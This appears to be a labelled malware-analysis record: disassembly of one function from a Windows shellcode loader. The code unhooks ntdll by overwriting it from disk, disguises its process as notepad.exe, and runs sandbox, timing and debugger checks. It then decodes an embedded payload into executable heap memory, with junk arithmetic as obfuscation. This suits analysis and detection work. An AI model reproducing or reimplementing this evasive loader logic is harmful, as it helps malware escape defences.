Function at 0x1400014a4
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Link many functions at runtime
Read file via mapping

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x8c8
lea rbp, [rsp + 0x80]
movups xmmword [rbp + 0x830], xmm6
mov dword [rbp + 0x870], ecx
mov qword [rbp + 0x878], rdx
call fcn.140002d50
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x7a8], rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x7a0], rax
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x798], rax
mov dword [rbp + 0x82c], 0
mov dword [rbp + 0x828], 0
mov ecx, 0x534
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x790], rax
mov dword [rbp + 0x824], 0
jmp 0x1400015bd
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x824]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x790]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0xffffffffea0ea0eb
shr rdx, 0x20
add edx, eax
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x23
sub eax, ecx
mov edx, eax
mov dword [r8], edx
mov eax, dword [rbp + 0x824]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x790]
add rax, rdx
mov eax, dword [rax]
add dword [rbp + 0x82c], eax
add dword [rbp + 0x824], 1
cmp dword [rbp + 0x824], 0x14c
jle 0x14000154f
mov dword [rbp + 0x824], 0
jmp 0x140001645
pxor xmm6, xmm6
cvtsi2sd xmm6, dword [rbp + 0x828]
mov eax, dword [rbp + 0x824]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x790]
add rax, rdx
mov eax, dword [rax]
pxor xmm0, xmm0
cvtsi2ss xmm0, eax
subss xmm0, dword [rbp + 0x604]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm0
movq rax, xmm2
movsd xmm0, qword [0x14000c5e0]
movupd xmm1, xmm0
movq xmm0, rax
call fcn.1400041b0
addsd xmm0, xmm6
cvttsd2si eax, xmm0
mov dword [rbp + 0x828], eax
add dword [rbp + 0x824], 1
cmp dword [rbp + 0x824], 0x14c
jle 0x1400015d5
pxor xmm0, xmm0
cvtsi2ss xmm0, dword [rbp + 0x828]
movss xmm1, dword [0x14000c5e8]
divss xmm0, xmm1
movss dword [rbp + 0x78c], xmm0
pxor xmm3, xmm3
cvtss2sd xmm3, dword [rbp + 0x78c]
movq rax, xmm3
movq xmm0, rax
call fcn.140003d40
cvtsd2ss xmm0, xmm0
movss dword [rbp + 0x788], xmm0
mov rax, qword [rbp + 0x790]
mov rcx, rax
call sub.msvcrt.dll_free
lea rax, str.psapi.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov rcx, rax
lea rax, str.GetModuleInformation
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x818], rax
cmp qword [rbp + 0x818], 0
jne 0x140001711
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov rcx, rax
lea rax, str.GetModuleInformation
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x818], rax
cmp qword [rbp + 0x818], 0
je 0x140001bca
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rdx, [rbp + 0x5e0]
mov rax, qword [rbp + 0x798]
mov r10, qword [rbp + 0x818]
mov r9d, 0x18
mov r8, rdx
mov rdx, rax
call r10
mov dword [rbp + 0x814], 0xffffffff
mov ecx, 0x1ad0
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x780], rax
add dword [rbp + 0x814], 1
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
mov eax, dword [rbp + 0x814]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x780]
add rax, rdx
movsd xmm1, qword [0x14000c5f0]
divsd xmm0, xmm1
movsd qword [rax], xmm0
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x64
sub eax, ecx
mov edx, eax
pxor xmm0, xmm0
cvtsi2sd xmm0, edx
mov eax, dword [rbp + 0x814]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x780]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x814]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x780]
lea rbx, [rcx + rdx]
movupd xmm1, xmm0
movq xmm0, rax
call fcn.140003fb0
movq rax, xmm0
mov qword [rbx], rax
cmp dword [rbp + 0x814], 0x358
jle 0x14000176a
mov rax, qword [rbp + 0x5e0]
mov qword [rbp + 0x778], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 3
mov r9d, 0
mov r8d, 1
mov edx, 0x80000000
lea rax, str.c:windows_system32_ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileA]
call rax
mov qword [rbp + 0x770], rax
mov qword [rbp + 0x808], 0
mov dword [rbp + 0x810], 0x3c3
jmp 0x1400018b2
mov eax, dword [rbp + 0x810]
cdqe
add qword [rbp + 0x808], rax
sub dword [rbp + 0x810], 1
cmp dword [rbp + 0x810], 0
jg 0x14000189c
mov rax, qword [rbp + 0x770]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0x1000002
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileMappingA]
call rax
mov qword [rbp + 0x768], rax
mov rax, qword [rbp + 0x768]
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 4
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_MapViewOfFile]
call rax
mov qword [rbp + 0x760], rax
mov rax, qword [rbp + 0x778]
mov qword [rbp + 0x758], rax
mov rax, qword [rbp + 0x758]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x778]
add rax, rdx
mov qword [rbp + 0x750], rax
mov word [rbp + 0x806], 0
jmp 0x140001bb2
mov rax, qword [rbp + 0x750]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp + 0x750]
lea rcx, [rdx + rax]
movzx edx, word [rbp + 0x806]
mov rax, rdx
shl rax, 2
add rax, rdx
shl rax, 3
add rax, rcx
add rax, 0x18
mov qword [rbp + 0x748], rax
mov rax, qword [rbp + 0x748]
lea rdx, str..text
mov rcx, rax
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x140001ba1
mov dword [rbp + 0x5a8], 0
mov rax, qword [rbp + 0x748]
mov eax, dword [rax + 8]
mov edx, eax
mov rax, qword [rbp + 0x748]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x778]
add rax, rcx
mov rcx, rax
lea rax, [rbp + 0x5a8]
mov r9, rax
mov r8d, 0x40
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x748]
mov eax, dword [rax + 8]
mov r8d, eax
mov rax, qword [rbp + 0x748]
mov eax, dword [rax + 0xc]
mov edx, eax
mov rax, qword [rbp + 0x760]
add rax, rdx
mov rdx, rax
mov rax, qword [rbp + 0x748]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x778]
add rax, rcx
mov rcx, rax
call sub.msvcrt.dll_memcpy
mov dword [rbp + 0x800], 0xffffffff
mov ecx, 0x1a58
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x740], rax
mov ecx, 0x1a58
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x738], rax
add dword [rbp + 0x800], 1
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
pxor xmm6, xmm6
cvtsi2sd xmm6, edx
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0xffffffffea0ea0eb
shr rdx, 0x20
add edx, eax
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x46
sub eax, ecx
mov edx, eax
pxor xmm1, xmm1
cvtsi2sd xmm1, edx
mov eax, dword [rbp + 0x800]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x740]
add rax, rdx
divsd xmm6, xmm1
movupd xmm0, xmm6
movsd qword [rax], xmm0
mov eax, dword [rbp + 0x800]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x740]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x800]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x738]
lea rbx, [rcx + rdx]
movq xmm0, rax
call fcn.140003ed0
movq rax, xmm0
mov qword [rbx], rax
cmp dword [rbp + 0x800], 0x349
jle 0x140001a77
mov edx, dword [rbp + 0x5a8]
mov rax, qword [rbp + 0x748]
mov eax, dword [rax + 8]
mov r10d, eax
mov rax, qword [rbp + 0x748]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x778]
add rax, rcx
mov rcx, rax
lea rax, [rbp + 0x5a8]
mov r9, rax
mov r8d, edx
mov rdx, r10
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
movzx eax, word [rbp + 0x806]
add eax, 1
mov word [rbp + 0x806], ax
mov rax, qword [rbp + 0x750]
movzx eax, word [rax + 6]
cmp word [rbp + 0x806], ax
jb 0x140001965
mov dword [rbp + 0x734], 0
mov ecx, 0x13b0
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x728], rax
mov ecx, 0x13b0
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x720], rax
mov ecx, 0x13b0
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x718], rax
mov dword [rbp + 0x7fc], 0
jmp 0x140001cfa
mov dword [rbp + 0x7f8], 0
jmp 0x140001ce6
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 4
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x32
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x7fc]
movsxd rcx, eax
mov rax, rcx
shl rax, 3
add rax, rcx
shl rax, 3
mov rcx, rax
mov rax, qword [rbp + 0x728]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x7f8]
cdqe
movss dword [rcx + rax*4], xmm0
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 4
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x32
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x7fc]
movsxd rcx, eax
mov rax, rcx
shl rax, 3
add rax, rcx
shl rax, 3
mov rcx, rax
mov rax, qword [rbp + 0x720]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x7f8]
cdqe
movss dword [rcx + rax*4], xmm0
add dword [rbp + 0x7f8], 1
cmp dword [rbp + 0x7f8], 0x11
jle 0x140001c25
add dword [rbp + 0x7fc], 1
cmp dword [rbp + 0x7fc], 0x45
jle 0x140001c16
mov dword [rbp + 0x7fc], 0
jmp 0x140001dd7
mov dword [rbp + 0x7f8], 0
jmp 0x140001dc3
mov eax, dword [rbp + 0x7fc]
movsxd rdx, eax
mov rax, rdx
shl rax, 3
add rax, rdx
shl rax, 3
mov rdx, rax
mov rax, qword [rbp + 0x728]
add rdx, rax
mov eax, dword [rbp + 0x7f8]
cdqe
movss xmm0, dword [rdx + rax*4]
mov eax, dword [rbp + 0x7fc]
movsxd rdx, eax
mov rax, rdx
shl rax, 3
add rax, rdx
shl rax, 3
mov rdx, rax
mov rax, qword [rbp + 0x720]
add rdx, rax
mov eax, dword [rbp + 0x7f8]
cdqe
movss xmm1, dword [rdx + rax*4]
mov eax, dword [rbp + 0x7fc]
movsxd rdx, eax
mov rax, rdx
shl rax, 3
add rax, rdx
shl rax, 3
mov rdx, rax
mov rax, qword [rbp + 0x718]
add rdx, rax
divss xmm0, xmm1
mov eax, dword [rbp + 0x7f8]
cdqe
movss dword [rdx + rax*4], xmm0
add dword [rbp + 0x7f8], 1
cmp dword [rbp + 0x7f8], 0x11
jle 0x140001d25
add dword [rbp + 0x7fc], 1
cmp dword [rbp + 0x7fc], 0x45
jle 0x140001d16
mov rax, qword [rbp + 0x728]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x720]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x718]
mov rcx, rax
call sub.msvcrt.dll_free
mov dword [rbp + 0x5ac], 0
mov rax, qword [rbp + 0x7a8]
lea rdx, str.NtQueryInformationProcess
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x710], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rdx, [rbp + 0x5b0]
lea rax, [rbp + 0x5ac]
mov qword [rsp + 0x20], rax
mov rax, qword [rbp + 0x710]
mov r9d, 0x30
mov r8, rdx
mov edx, 0
call rax
mov rax, qword [rbp + 0x5b8]
add rax, 0x3c
mov qword [rbp + 0x708], rax
mov dword [rbp + 0x7f4], 0
jmp 0x140001ed1
call sub.msvcrt.dll_rand
imul eax, eax, 0x375
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x14000c5f0]
divsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call fcn.140003fe0
movq rax, xmm0
mov qword [rbp + 0x608], rax
add dword [rbp + 0x7f4], 1
cmp dword [rbp + 0x7f4], 0x37b
jle 0x140001e90
mov rax, qword [rbp + 0x708]
lea rdx, str.C:_windows_system32_notepad.exe
mov qword [rax + 0x78], rdx
mov rax, qword [rbp + 0x708]
lea rdx, str.C:_windows_system32_notepad.exe
mov qword [rax + 0x68], rdx
mov qword [rbp + 0x700], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.VirtualAllocExNuma
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6f8], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x40
mov rax, qword [rbp + 0x6f8]
mov r9d, 0x3000
mov r8d, 0x3b7
mov edx, 0
call rax
mov qword [rbp + 0x700], rax
cmp qword [rbp + 0x700], 0
je 0x140002c7b
lea rax, str.gpokmrcotdxkl.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x6f0], rax
cmp qword [rbp + 0x6f0], 0
jne 0x140002c7b
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.FlsAlloc
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6e8], rax
mov rax, qword [rbp + 0x6e8]
mov ecx, 0
call rax
mov dword [rbp + 0x6e4], eax
cmp dword [rbp + 0x6e4], 0xffffffff
je 0x140002c7b
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.FlsAlloc
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6d8], rax
mov rax, qword [rbp + 0x6d8]
mov ecx, 0
call rax
mov dword [rbp + 0x6d4], eax
cmp dword [rbp + 0x6d4], 0xffffffff
je 0x140002c7b
mov dword [rbp + 0x6d0], 0x298
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.SleepEx
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6c8], rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6c0], rax
mov rax, qword [rbp + 0x6c0]
call rax
mov dword [rbp + 0x6bc], eax
mov eax, dword [rbp + 0x6d0]
mov r8, qword [rbp + 0x6c8]
mov edx, 0
mov ecx, eax
call r8
mov rax, qword [rbp + 0x6c0]
call rax
mov dword [rbp + 0x6b8], eax
mov eax, dword [rbp + 0x6b8]
sub eax, dword [rbp + 0x6bc]
cmp eax, 0x266
jbe 0x140002c7b
mov dword [rbp + 0x5a4], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.CheckRemoteDebuggerPresent
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6b0], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rax, [rbp + 0x5a4]
mov r8, qword [rbp + 0x6b0]
mov rdx, rax
call r8
mov eax, dword [rbp + 0x5a4]
cmp eax, 1
je 0x140002c7b
mov qword [rbp + 0x6a8], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.VirtualAllocExNuma
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6a0], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x40
mov rax, qword [rbp + 0x6a0]
mov r9d, 0x3000
mov r8d, 0x2d5
mov edx, 0
call rax
mov qword [rbp + 0x6a8], rax
cmp qword [rbp + 0x6a8], 0
je 0x140002c7b
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x698], rax
cmp qword [rbp + 0x698], 0
je 0x14000224f
mov rax, qword [rbp + 0x698]
lea rdx, str.FlsAlloc
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x690], rax
mov rax, qword [rbp + 0x690]
mov ecx, 0
call rax
mov dword [rbp + 0x7f0], eax
cmp dword [rbp + 0x7f0], 0xffffffff
je 0x140002c7b
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x688], rax
cmp qword [rbp + 0x688], 0
je 0x1400022b5
mov rax, qword [rbp + 0x688]
lea rdx, str.FlsAlloc
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x680], rax
mov rax, qword [rbp + 0x680]
mov ecx, 0
call rax
mov dword [rbp + 0x7ec], eax
cmp dword [rbp + 0x7ec], 0xffffffff
je 0x140002c7b
mov qword [rbp + 0x678], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.VirtualAlloc
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x670], rax
mov rax, qword [rbp + 0x670]
mov r9d, 0x40
mov r8d, 0x3000
mov edx, 0x20c7a80
mov ecx, 0
call rax
mov qword [rbp + 0x678], rax
cmp qword [rbp + 0x678], 0
je 0x140002c7b
mov rax, qword [rbp + 0x678]
mov edx, 0x20c7a80
mov rcx, rax
call fcn.14000a2c0
mov rax, qword [rbp + 0x678]
mov r8d, 0x8000
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualFree]
call rax
lea rax, [rbp + 0x120]
lea rdx, [0x14000c158]
mov ecx, 0x90
mov rdi, rax
mov rsi, rdx
rep movsq qword [rdi], qword [rsi]
mov rdx, rsi
mov rax, rdi
movzx ecx, byte [rdx]
mov byte [rax], cl
mov rax, qword [rbp + 0x7a0]
lea rdx, str.HeapCreate
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x668], rax
mov dword [rbp + 0x7e0], 0
mov ecx, 0x6ba4
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x660], rax
mov dword [rbp + 0x7e8], 0
jmp 0x14000244c
mov dword [rbp + 0x7e4], 0
jmp 0x14000243c
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0xffffffffb5722823
shr rdx, 0x20
add edx, eax
sar edx, 0xc
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x1693
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x7e8]
cdqe
imul rcx, rax, 0x14c
mov rax, qword [rbp + 0x660]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x7e4]
cdqe
movss dword [rcx + rax*4], xmm0
add dword [rbp + 0x7e4], 1
cmp dword [rbp + 0x7e4], 0x52
jle 0x1400023de
add dword [rbp + 0x7e8], 1
cmp dword [rbp + 0x7e8], 0x52
jle 0x1400023d2
mov dword [rbp + 0x7e8], 0
jmp 0x1400024c8
mov dword [rbp + 0x7e4], 0
jmp 0x1400024b8
pxor xmm1, xmm1
cvtsi2ss xmm1, dword [rbp + 0x7e0]
mov eax, dword [rbp + 0x7e8]
cdqe
imul rdx, rax, 0x14c
mov rax, qword [rbp + 0x660]
add rdx, rax
mov eax, dword [rbp + 0x7e4]
cdqe
movss xmm0, dword [rdx + rax*4]
addss xmm0, xmm1
cvttss2si eax, xmm0
mov dword [rbp + 0x7e0], eax
add dword [rbp + 0x7e4], 1
cmp dword [rbp + 0x7e4], 0x52
jle 0x140002471
add dword [rbp + 0x7e8], 1
cmp dword [rbp + 0x7e8], 0x52
jle 0x140002465
mov rax, qword [rbp + 0x660]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x7a0]
lea rdx, str.HeapAlloc
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x658], rax
mov rax, qword [rbp + 0x668]
mov r8d, 0
mov edx, 0x480
mov ecx, 0x40000
call rax
mov qword [rbp + 0x650], rax
mov rax, qword [rbp + 0x650]
mov r9, qword [rbp + 0x658]
mov r8d, 0x480
mov edx, 8
mov rcx, rax
call r9
mov qword [rbp + 0x648], rax
mov rax, qword [rbp + 0x7a8]
lea rdx, str.RtlMoveMemory
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x640], rax
lea rdx, [rbp + 0x120]
mov rax, qword [rbp + 0x648]
mov r9, qword [rbp + 0x640]
mov r8d, 0x480
mov rcx, rax
call r9
mov dword [rbp + 0x7dc], 0
mov dword [rbp + 0x7d8], 0
mov dword [rbp + 0x7d4], 0
movabs rax, 0x9852b83578d01d52
movabs rdx, 0x47bb1252b909c718
mov qword [rbp + 0x30], rax
mov qword [rbp + 0x38], rdx
movabs rax, 0x67be20e24c3367cb
movabs rdx, 0x469117788313bc2a
mov qword [rbp + 0x40], rax
mov qword [rbp + 0x48], rdx
movabs rax, 0x3d01044623c08f62
movabs rdx, 0xd5a41d2739c19010
mov qword [rbp + 0x50], rax
mov qword [rbp + 0x58], rdx
movabs rax, 0x225b6b08fe0152a2
movabs rdx, 0x26f6188f74a3e639
mov qword [rbp + 0x60], rax
mov qword [rbp + 0x68], rdx
movabs rax, 0x4a31e1a7cd1f13df
movabs rdx, 0xbc6cfc93bd95f111
mov qword [rbp + 0x70], rax
mov qword [rbp + 0x78], rdx
movabs rax, 0xe133ceb340532d17
movabs rdx, 0x32ae7e73360854fc
mov qword [rbp + 0x80], rax
mov qword [rbp + 0x88], rdx
movabs rax, 0x84b5a2de2632ae7e
movabs rdx, 0x278077a360fad8
mov qword [rbp + 0x8d], rax
mov qword [rbp + 0x95], rdx
mov ecx, 0x3440
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x638], rax
mov dword [rbp + 0x7d0], 0
mov dword [rbp + 0x634], 1
mov dword [rbp + 0x7cc], 0
jmp 0x14000272c
mov dword [rbp + 0x7c8], 0
jmp 0x14000271c
call sub.msvcrt.dll_rand
mov edx, eax
mov eax, dword [rbp + 0x7cc]
movsxd rcx, eax
mov rax, rcx
shl rax, 3
add rax, rcx
add rax, rax
add rax, rcx
shl rax, 3
mov rcx, rax
mov rax, qword [rbp + 0x638]
lea r8, [rcx + rax]
movsxd rax, edx
imul rax, rax, 0x51eb851f
shr rax, 0x20
sar eax, 5
mov ecx, edx
sar ecx, 0x1f
sub eax, ecx
imul ecx, eax, 0x64
mov eax, edx
sub eax, ecx
mov edx, dword [rbp + 0x7c8]
movsxd rdx, edx
mov dword [r8 + rdx*4], eax
add dword [rbp + 0x7c8], 1
cmp dword [rbp + 0x7c8], 0x25
jle 0x1400026b7
add dword [rbp + 0x7cc], 1
cmp dword [rbp + 0x7cc], 0x57
jle 0x1400026ab
mov dword [rbp + 0x7cc], 0
jmp 0x1400027a8
mov dword [rbp + 0x7c8], 0
jmp 0x140002798
mov eax, dword [rbp + 0x7cc]
movsxd rdx, eax
mov rax, rdx
shl rax, 3
add rax, rdx
add rax, rax
add rax, rdx
shl rax, 3
mov rdx, rax
mov rax, qword [rbp + 0x638]
add rdx, rax
mov eax, dword [rbp + 0x7c8]
cdqe
mov eax, dword [rdx + rax*4]
test eax, eax
jne 0x140002791
add dword [rbp + 0x7d0], 1
add dword [rbp + 0x7c8], 1
cmp dword [rbp + 0x7c8], 0x25
jle 0x140002751
add dword [rbp + 0x7cc], 1
cmp dword [rbp + 0x7cc], 0x57
jle 0x140002745
cmp dword [rbp + 0x7d0], 0x688
je 0x1400027c7
mov dword [rbp + 0x634], 0
mov rax, qword [rbp + 0x638]
mov rcx, rax
call sub.msvcrt.dll_free
movabs rax, 0x67d448c03a00597a
movabs rdx, 0x4892be4f0e2a4ff5
mov qword [rbp + 0xa0], rax
mov qword [rbp + 0xa8], rdx
movabs rax, 0xea0033b709b0fd6e
movabs rdx, 0x2a7a25c8b5b4d0da
mov qword [rbp + 0xb0], rax
mov qword [rbp + 0xb8], rdx
movabs rax, 0xc02811932b524521
movabs rdx, 0x9cb72a531437bc1b
mov qword [rbp + 0xc0], rax
mov qword [rbp + 0xc8], rdx
movabs rax, 0xfd05467accc6300a
movabs rdx, 0x7480c0d537229737
mov qword [rbp + 0xd0], rax
mov qword [rbp + 0xd8], rdx
movabs rax, 0x9d9419293b72d3c5
movabs rdx, 0xa242a9b15de3d577
mov qword [rbp + 0xe0], rax
mov qword [rbp + 0xe8], rdx
movabs rax, 0x2da4eebd1513d543
movabs rdx, 0xe0bb508987988dec
mov qword [rbp + 0xf0], rax
mov qword [rbp + 0xf8], rdx
movabs rax, 0x4f8cb528a9da2558
movabs rdx, 0xcd948145153c235
mov qword [rbp + 0x100], rax
mov qword [rbp + 0x108], rdx
movabs rax, 0x5f0cd948145153c2
movabs rdx, 0xa366ff87c4cf0
mov qword [rbp + 0x109], rax
mov qword [rbp + 0x111], rdx
jmp 0x140002a2c
cmp dword [rbp + 0x7d8], 0x77
jne 0x1400029f3
mov eax, dword [rbp + 0x7dc]
cdqe
movzx edx, byte [rbp + rax + 0x30]
mov eax, dword [rbp + 0x7d8]
cdqe
movzx eax, byte [rbp + rax + 0xa0]
xor edx, eax
mov eax, dword [rbp + 0x7dc]
cdqe
mov byte [rbp + rax - 0x40], dl
mov dword [rbp + 0x7d8], 0
mov dword [rbp + 0x7c4], 0xffffffff
mov ecx, 0x1990
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x610], rax
add dword [rbp + 0x7c4], 1
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x14000c5f0]
divsd xmm0, xmm1
addsd xmm0, xmm0
mov eax, dword [rbp + 0x7c4]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x610]
add rax, rdx
movsd xmm1, qword [0x14000c5f8]
subsd xmm0, xmm1
movsd qword [rax], xmm0
mov eax, dword [rbp + 0x7c4]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x610]
add rax, rdx
mov rax, qword [rax]
